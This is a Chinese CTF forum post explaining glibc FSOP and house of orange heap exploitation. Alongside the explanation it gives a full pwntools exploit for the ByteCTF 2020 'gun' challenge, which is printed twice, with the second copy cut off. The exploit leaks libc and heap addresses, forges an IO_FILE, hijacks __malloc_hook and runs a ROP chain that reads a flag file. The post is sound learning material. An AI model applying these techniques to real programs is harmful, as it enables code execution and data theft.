首页
社区
课程
招聘
[原创]IO_file劫持利用—fsop
发表于: 2022-4-26 11:00 14451

[原创]IO_file劫持利用—fsop

2022-4-26 11:00
14451

(1)IO_File相关知识:参考这个博客,写的真的很详细,~但是和利用毛关系都没有~

(2)fsop有关利用:感觉就没有几个师傅写了fsop的利用,个人感觉大师傅写的很好

(3)如何查找_IO_str_jumps:这个是为了绕过vtable的检查机制(好像是从2.24开始的),然而并没有libc.sym['_IO_str_jumps'],需要我们靠一点技巧去找

_IO_str_jumps指向很多函数,可以说是一个函数表,其内部0x20偏移处为_IO_str_underflow能够通过打印符号表查找到

同时通过search -p能够查找到存储指针的位置(即_IO_str_jumps内部)

一般来说是最下面那个,因为要比如下这个东西的地址更高

(4)house of orange

这个利用来源于2016年台湾举办的某个ctf的同名的题,主要是利用堆溢出,将top_chunk的size改小(为了不使用mmap分配堆块),然后申请一块比top_chunk大的堆块。这样就可把top_chunk放入unsorted bin

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->stderr->stderr+0xd8->......(省略的为io_list_all为头的链表及其调用)

通过修改libc.sym['IO_2_1_stderr'] + 0x68为fake_io_file,达到劫持exit正常调用流程的目的。并且将fake_io_file的0xd8(即vtable)修改为_IO_str_jumps(2.24以后就有检查机制,之前的话可以修改为任意值)达到调用over_flow的目的,以此设置rdx寄存器的值并call malloc函数,结合提前修改malloc_hook为setcontext来实现堆上rop

将rbx寄存器置为stderr

stderr+0x68是chain,连入fake_io_file

把rax寄存器置为str_jumps

设置好参数准备跳转

rax为跳转到over_flow

设置rdx寄存器

【bytectf2020】gun

直接贴fmyy师傅的exp,其中涉及了srop,还没有学。。。不过改成正常的系统调用也可出

环境配置的是glibc_all_in_one下的2.31 9_版本

主要是调一调看看运行流程
下面是偏移,方便阅读的师傅调试

一般是和unsorted bin attack结合起来用,触发malloc error来fsop

2.23

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->system('/bin/sh')

2.24及以后

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->over_flow->malloc_hook->setcontext

首先让unsorted bin里有且仅有一个堆块(所以2.23可以结合house of orange 打)修改一个unsorted bin 里的堆块的bk指针为IO_list_all

并且利用堆溢出等手段修改该堆块的size为0x60(为啥后面会讲),然后malloc即可在把这个堆块放入smallbin之后触发malloc_error,进入_IO_flush_all_lockp

这里面的汇编啥的前面讲exit利用的时候详细记录过了

主要是这个rbx+0x68,一开始的rbx是main+88,加上0x68就是+198了,这个正好是small bin中0x60 size的chunk的表头,那么后续的mov rax,rbx+0xd8啥的就可以直接调用堆上预设的值了

还有一个需要注意的地方,伪造的fake_io,它的0x28位置要比0x20大,具体是因为io_file的结构如下

需要绕过

肯定第一种要好绕过一点

而且,通过io_flush_lock_up的源码分析

发现如果一直绕不过这个检查,会从io_list_all一直往下取链表的成员,直至为0

这就是为啥俺一开始在gdb里调半天一直mov rbx,rbx+0x68直到为0的原因

BUUOJ-house of orange

发现没有free函数,考虑使用house of orange 构造1个free的堆块,具体就是改写top_chunk(防止使用mmap分配内存),然后申请一个比它大的堆块,就会把top_chunk free

很寻常,不过限制了add个数为4。而且未初始化指针,可以leak_libc和heap

也是限制了edit的个数为3,改写的大小是我们指定的,所以存在堆溢出

存在的意义就是为了leak

模板题还写啥思路.......

~学了fsop和house of orange 还不会可以remake了~

fmyy师傅的博客
IO-file的详解
大师傅的FSOP利用

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import*
context.arch = "amd64"
p = process('./gun')
libc =ELF('./libc-2.31.so')
 
def z():
    gdb.attach(p)
 
def menu(ch):
    p.sendlineafter('Action>',str(ch))
 
def new(size,content):
    menu(3)
    p.sendlineafter('price:',str(size))
    p.sendlineafter('Name:',content)
 
def load(index):
    menu(2)
    p.sendlineafter('load?',str(index))
 
def free(times):
    menu(1)
    p.sendlineafter('time: ',str(times))
 
 
p.sendlineafter('Your name: ','nameless')
 
##leak libc
for i in range(3):
    new(0x10,'') #0 1 2
new(0x420,'nameless') #3
new(0x420,'nameless') #4
new(0x10,'nameless') #5
load(4)
load(3)
free(2)
new(0x20,'') #3
load(3)
free(1)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x1c502d-(libc.sym['__libc_start_main']+243)
log.info('LIBC:\t' + hex(libc_base))
 
##set libc_func
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
 
##leak heap
new(0x20,'F'*0x10 + '\n') #3
load(3)
free(1)
p.recvuntil('F'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60
log.info('HEAP:\t' + hex(heap_base))
 
## set gadget
pop_rdi_ret = libc_base + 0x26B72
pop_rdx_r12 = libc_base + 0x11c1e1
pop_rsi_ret = libc_base + 0x27529
pop_rax_ret = libc_base + 0x4A550
 
## set libc_ables
jmp_rsi  = libc_base + 0x1105bd
syscall = libc_base + libc.sym['syscall']
target = libc_base + libc.sym['_IO_2_1_stdin_']
address = libc.sym['__free_hook'] + libc_base
IO_str_jumps = libc_base + 0x1ED560
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Puts = libc_base + libc.symbols['puts']
free_hook = address
 
##set fake_io
IO  = '\x00'*0x28
IO += p64(heap_base + 0x360 + 0xE0) ##rdx
IO  = IO.ljust(0xD8,'\x00')
IO += p64(IO_str_jumps)
 
##
read = libc_base + libc.sym['read']
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000
frame.rsp = address
frame.rip = Read
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
orw += p64(Puts)
orw  = orw.ljust(0xF8,'\x00')
orw += './flag\x00\x00'
IO += str(frame)
 
##
for i in range(3):
    load(i)
free(3)
new(0x3E0,IO + '\n') #0
new(0x31,p64(0) + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n') #1
free(1)
load(1)
free(1)
new(0x31,p64(0) + p64(0x21) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x68) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(heap_base + 0x360) + '\n')
load(1)
load(2)
free(2)
new(0x31,p64(0) + p64(0x21) + p64(malloc_hook) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(libc_base + libc.sym['setcontext'] + 61) + '\n')   
z()
menu(4)
 
p.sendlineafter('Goodbye!',orw)
p.interactive()
from pwn import*
context.arch = "amd64"
p = process('./gun')
libc =ELF('./libc-2.31.so')
 
def z():
    gdb.attach(p)
 
def menu(ch):
    p.sendlineafter('Action>',str(ch))
 
def new(size,content):
    menu(3)
    p.sendlineafter('price:',str(size))
    p.sendlineafter('Name:',content)
 
def load(index):
    menu(2)
    p.sendlineafter('load?',str(index))
 
def free(times):
    menu(1)
    p.sendlineafter('time: ',str(times))
 
 
p.sendlineafter('Your name: ','nameless')
 
##leak libc
for i in range(3):
    new(0x10,'') #0 1 2
new(0x420,'nameless') #3
new(0x420,'nameless') #4
new(0x10,'nameless') #5
load(4)
load(3)
free(2)
new(0x20,'') #3
load(3)
free(1)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x1c502d-(libc.sym['__libc_start_main']+243)
log.info('LIBC:\t' + hex(libc_base))
 
##set libc_func
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
 
##leak heap
new(0x20,'F'*0x10 + '\n') #3
load(3)
free(1)
p.recvuntil('F'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60
log.info('HEAP:\t' + hex(heap_base))
 
## set gadget
pop_rdi_ret = libc_base + 0x26B72
pop_rdx_r12 = libc_base + 0x11c1e1
pop_rsi_ret = libc_base + 0x27529
pop_rax_ret = libc_base + 0x4A550
 
## set libc_ables
jmp_rsi  = libc_base + 0x1105bd
syscall = libc_base + libc.sym['syscall']
target = libc_base + libc.sym['_IO_2_1_stdin_']
address = libc.sym['__free_hook'] + libc_base
IO_str_jumps = libc_base + 0x1ED560
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Puts = libc_base + libc.symbols['puts']
free_hook = address
 
##set fake_io
IO  = '\x00'*0x28
IO += p64(heap_base + 0x360 + 0xE0) ##rdx
IO  = IO.ljust(0xD8,'\x00')
IO += p64(IO_str_jumps)
 
##
read = libc_base + libc.sym['read']
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000
frame.rsp = address
frame.rip = Read
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-4-26 11:17 被Nameless_a编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 864
活跃值: (5124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
火钳刘明
2022-4-27 10:02
0
游客
登录 | 注册 方可回帖
返回
//